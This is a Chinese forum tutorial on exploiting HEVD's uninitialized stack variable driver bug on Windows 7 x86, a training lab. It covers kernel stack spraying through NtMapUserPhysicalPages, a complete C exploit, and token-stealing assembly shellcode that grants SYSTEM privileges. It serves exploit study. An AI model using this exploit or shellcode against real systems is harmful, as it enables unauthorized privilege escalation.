首页
论坛
课程
招聘
[原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable
2021-11-21 14:42 24129

[原创]内核漏洞学习[6]-HEVD-UninitializedStackVariable

2021-11-21 14:42
24129

# HEVD-UninitializedStackVariable

一: 概述

HEVD:漏洞靶场,包含各种Windows内核漏洞的驱动程序项目,在Github上就可以找到该项目,进行相关的学习

 

Releases · hacksysteam/HackSysExtremeVulnerableDriver · GitHub

环境准备:

Windows 7 X86 sp1 虚拟机

使用VirtualKD和windbg双机调试

HEVD 3.0+KmdManager+DubugView

二:漏洞点分析

TriggerUninitializedMemoryStack函数存在漏洞,内核函数栈中的变量未初始化,如果用户传入的UserValue==MagicValue(0xBAD0B0B0),就会赋值参数value和回调函数callback地址,并在后面调用callback。如果uservalue不等MagicValue,就存在利用点。

 

在非安全版本中UninitializedMemory变量定义但是没有初始化,由于该变量布局在栈上,它会拥有一个之前调用函数遗留的随机垃圾值。

 

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
NTSTATUS
TriggerUninitializedMemoryStack(
    _In_ PVOID UserBuffer
)
{
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
 
#ifdef SECURE
    //
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
    // the callback
    //
 
    UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };//安全版本: 栈变量初始化了
#else
    //
    // Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
    // because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    //
 
    UNINITIALIZED_MEMORY_STACK UninitializedMemory;//不安全版本: 栈变量未初始化
#endif
 
    PAGED_CODE();
 
    __try
    {
        //
        // Verify if the buffer resides in user mode
        //
 
        ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_MEMORY_STACK), (ULONG)__alignof(UCHAR));
 
        //
        // Get the value from user mode
        //
 
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedMemory Address: 0x%p\n", &UninitializedMemory);
 
        //
        // Validate the magic value
        //
 
        if (UserValue == MagicValue) {
            UninitializedMemory.Value = UserValue;
            UninitializedMemory.Callback = &UninitializedMemoryStackObjectCallback;
        }
 
        DbgPrint("[+] UninitializedMemory.Value: 0x%p\n", UninitializedMemory.Value);
        DbgPrint("[+] UninitializedMemory.Callback: 0x%p\n", UninitializedMemory.Callback);
 
#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Memory in Stack\n");
#endif
 
        //
        // Call the callback function
        //
 
        if (UninitializedMemory.Callback)//在此处判断回调函数是否为0,否则可利用0页内存,
        {
            UninitializedMemory.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}

逆向HEVD.sys
在这里插入图片描述

 

if (UninitializedMemory.Callback) //此处判断回调函数是否为空,否则含有空指针漏洞,可利用在0页内存上构造payload,相关HEVD:

 

[原创]内核漏洞学习[5]-HEVD-NullPointerDereference-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

 

那么既然有判断,就要换个方法,回调函数地址修改为不为0的地址,然后该地址指向payoad,

三:漏洞利用

HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK控制码对应的派遣函数UninitializedMemoryStackIoctlHandlercase

1
2
3
4
5
case HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK:
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
Status = UninitializedMemoryStackIoctlHandler(Irp, IrpSp);
DbgPrint("****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******\n");
break;

UninitializedMemoryStackIoctlHandlercase 函数调用TriggerUninitializedMemoryStack触发漏洞

 

逆向获得IO控制码0x22202f

 

在这里插入图片描述

 

sub_4460E8-->sub_445FFA(漏洞函数)

 

(1)测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
 
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
//#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)
int main()
 
{
 
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
        );
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[-]failed to get device handle !");
        return FALSE;
 
    }
    printf("[+]success to get device  handle");
 
    if (hDevice) {
 
        DWORD bReturn = 0;
        char buf[4] = { 0 };
        *(PDWORD32)(buf) = 0xBAD0B0B0;
 
        DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
    }
 
 
 
}

因为uservalue=0xBAD0B0B0,所以打印出信息,

 

在这里插入图片描述

 

*(PDWORD32)(buf) = 0x12345678;

 

将值修改为0x12345678,再次运行

 

我们传入值与MagicValue值不匹配时,则会触发漏洞

 

在这里插入图片描述

 

在cmp处下断点,

 

在这里插入图片描述

 

HEVD!TriggerUninitializedMemoryStack偏移 0x53处,下断点,运行

1
2
kd> bp HEVD!TriggerUninitializedMemoryStack+0x53
kd> g

执行我们的测试exp 断下来后查看

 

在这里插入图片描述

 

在这里插入图片描述

 

stack_init-callback=94083ed0-940839cc=504(1284 bytes)

 

在这里插入图片描述

 

如果我们比较失败了,继续下行调用函数的时候,我们调用的将是一个内核栈上的垃圾值!此值是不固定的,它会拥有一个之前调用函数遗留的随机垃圾值。

 

我们已经知道了该变量距离当前栈起始位置有多远,在驱动程序源代码中看到,易受攻击的代码被try/except包围,目标操作系统不会崩溃。无法用测试exp触发系统BSOD,

 

现在,如果我们可以将攻击者控制的数据放在与Stack Init 0x504的偏移处,我们就可以劫持指令指针

 

如何从用户模式将用户控制的数据放在内核堆栈上?

 

j00ru](https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/))写的方法,官方exp和fuzzysecurity用的都是NtMapUserPhysicalPages函数,它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节)=>4096字节,函数的栈最大也就 4096byte,所以传4096大小就可以占满一页内存,我们将所有内容都写成payload的地址

详细解释栈喷射

nt!NtMapUserPhysicalPages

1
2
3
4
5
6
7
8
9
10
11
12
13
mov     edi, edi
push    ebp
mov     ebp, esp
push    0FFFFFFFFh
push    offset dword_452498
push    offset __except_handler3
mov     eax, large fs:0
push    eax
mov     large fs:0, esp
push    ecx
push    ecx
mov     eax, 10E8h
call    __chkstk

鉴于 __chkstk 是一个特殊的过程,它将堆栈指针降低给定的字节数——这里是 0x10e8——该函数肯定会使用大量的本地存储(不止一个,典型的内存页!)

1
2
3
4
5
6
7
8
9
NTSTATUS
 ``NtMapUserPhysicalPages (
  ``__in ``PVOID` `VirtualAddress,
  ``__in ``ULONG_PTR` `NumberOfPages,
  ``__in_ecount_opt(NumberOfPages) ``PULONG_PTR` `UserPfnArray
 ``)
(...)
 ``ULONG_PTR` `StackArray[COPY_STACK_SIZE];
 #define COPY_STACK_SIZE             1024 //用作缓冲区

NtMapUserPhysicalPages调用MiCaptureUlongPtrArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PoolArea = (PVOID)&StackArray[0];
 
(...)
 
  if (NumberOfPages > COPY_STACK_SIZE) {
    PoolArea = ExAllocatePoolWithTag (NonPagedPool,
                                      NumberOfBytes,
                                      'wRmM');
 
    if (PoolArea == NULL) {
      return STATUS_INSUFFICIENT_RESOURCES;
    }
  }
 
(...)
 
  Status = MiCaptureUlongPtrArray (PoolArea,
                                   UserPfnArray,
                                   NumberOfPages);

NtMapUserPhysicalPages函数分配一个包含1024的单位的本地缓冲区(就是该函数栈的缓冲区)可以在本地存储多达 4096(1024*sizeof(ULONG_PTR)) 个用户提供的字节(正好是一个内存页),

 

调用NtMapUserPhysicalPages之前的内核堆栈

 

在这里插入图片描述

 

调用NtMapUserPhysicalPages之后的堆栈布局

 

在这里插入图片描述

 

我们之前已经算出来,未初始化变量的callback距离stack_init 偏移0x504大小

 

那么我们的exp先调用NtMapUserPhysicalPages函数将我们的payload地址写入缓冲区,共写入4096字节大小,那么在我们调用漏洞函数,进而调用callback使,我们的callback值就是文章最开始说的“在非安全版本中UninitializedMemory变量定义但是没有初始化,由于该变量布局在栈上,它会拥有一个之前调用函数遗留的随机垃圾值” 所以调用callback,就会执行我们构造的payload

 

(2)漏洞利用

 

exp,可供参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include<stdio.h>
#include<Windows.h>
HANDLE hDevice = NULL;
typedef NTSTATUS(WINAPI* My_NtMapUserPhysicalPages)(
    IN PVOID          VirtualAddress,
    IN ULONG_PTR      NumberOfPages,
    IN OUT PULONG_PTR UserPfnArray);
#define HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, METHOD_NEITHER, FILE_ANY_ACCESS)
void payload()
{
    ..
}
int main()
 
{
 
    hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE,
        NULL,
        NULL,
        OPEN_EXISTING,
        NULL,
        NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
    {
        printf("[-]failed to get device handle \n");
        return FALSE;
 
    }
    printf("[+]success to get device  handle\n");
 
    if (hDevice) {
 
        DWORD bReturn = 0;
        char buf[4] = { 0 };
        *(PDWORD32)(buf) = 0x12345678;
 
        //栈喷射
 
        My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
            GetModuleHandle(L"ntdll"),
            "NtMapUserPhysicalPages");
 
        if (NtMapUserPhysicalPages == NULL)
        {
            printf("[+]Failed to get MapUserPhysicalPages\n");
            return;
        }
 
        PDWORD KernelStackSpray = (PDWORD)malloc(4096);
        memset(KernelStackSpray, 0x41, 4096);
 
        printf("[+]KernelStackSpray: 0x%p\n", KernelStackSpray);
 
        for (int i = 0; i < 1024; i++)
        {
            *(PDWORD)(KernelStackSpray + i) = (DWORD)&payload;
        }
 
        NtMapUserPhysicalPages(NULL, 1024, KernelStackSpray);
 
        //触发漏洞,执行payload
        DeviceIoControl(hDevice, HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK, buf, 4, NULL, 0, &bReturn, NULL);
        //cmd
        printf("[+]Start to Create cmd...\n");
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi = { 0 };
        si.dwFlags = STARTF_USESHOWWINDOW;
        si.wShowWindow = SW_SHOW;
        WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
        BOOL Return = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
        if (Return) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
        system("pause");
        return 0;
 
    }
 
 
 
}

 

payload功能:遍历进程,得到系统进程的token,把当前进程的token替换,达到提权目的。

 

相关内核结构体:

 

在内核模式下,fs:[0]指向KPCR结构体

1
2
3
4
5
6
7
8
9
10
11
12
_KPCR
+0x120 PrcbData         : _KPRCB
_KPRCB
+0x004 CurrentThread    : Ptr32 _KTHREAD,_KTHREAD指针,这个指针指向_KTHREAD结构体
_KTHREAD
+0x040 ApcState         : _KAPC_STATE
_KAPC_STATE
+0x010 Process          : Ptr32 _KPROCESS,_KPROCESS指针,这个指针指向EPROCESS结构体
_EPROCESS
   +0x0b4 UniqueProcessId  : Ptr32 Void,当前进程ID,系统进程ID=0x04
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY,双向链表,指向下一个进程的ActiveProcessLinks结构体处,通过这个链表我们可以遍历所有进程,以寻找我们需要的进程
   +0x0f8 Token            : _EX_FAST_REF,描述了该进程的安全上下文,同时包含了进程账户相关的身份以及权限

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
VOID payload()
{
    __asm {
        pushad                               ; Save registers state
 
        ; Start of Token Stealing Stub
        xor eax, eax                         ; Set ZERO
        mov eax, fs:[eax + KTHREAD_OFFSET]   ; Get nt!_KPCR.PcrbData.CurrentThread
                                             ; _KTHREAD is located at FS:[0x124]
 
        mov eax, [eax + EPROCESS_OFFSET]     ; Get nt!_KTHREAD.ApcState.Process
 
        mov ecx, eax                         ; Copy current process _EPROCESS structure
 
        mov edx, SYSTEM_PID                  ; WIN 7 SP1 SYSTEM process PID = 0x4
 
        SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]    ; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp [eax + PID_OFFSET], edx      ; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
        mov edx, [eax + TOKEN_OFFSET]        ; Get SYSTEM process nt!_EPROCESS.Token
        mov [ecx + TOKEN_OFFSET], edx        ; Replace target process nt!_EPROCESS.Token
                                             ; with SYSTEM process nt!_EPROCESS.Token
        ; End of Token Stealing Stub
 
        popad                                ; Restore registers state
        ret
    }
}

运行exp,喷射成功,提权成功:

 

在这里插入图片描述

 

在这里插入图片描述

 

注意:我们从用户模式控制内核堆栈上的数据。必须防止它被其他函数调用破坏。

 

为此,我们需要防止任何其他函数使用内核堆栈。只需确保在喷射内核栈并触发漏洞后不执行或调用任何其他函数即可。

四:补丁分析

内核函数栈中的变量定义后,进行初始化,比如源码给的安全版本:

1
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };

五:参考文档

nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques | j00ru//vx tech blog (vexillium.org)

 

Seebug

 

未初始化的堆栈变量 – Windows 内核开发 (payatu.com)

 

[原创]Windows Kernel Exploit 内核漏洞学习(6)-未初始化栈利用-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

 

[翻译]Windows exploit开发系列教程第十三部分:内核利用程序之未初始化栈变量-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com
ps:因为是自己边学习别记录的,就看着有点啰嗦???但是感觉写的很好理解。。


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2021-11-21 16:14 被pyikaaaa编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (1)
雪    币: 188
活跃值: 活跃值 (72)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
davidhee 活跃值 2022-1-17 20:25
2
0
感谢分享。
游客
登录 | 注册 方可回帖
返回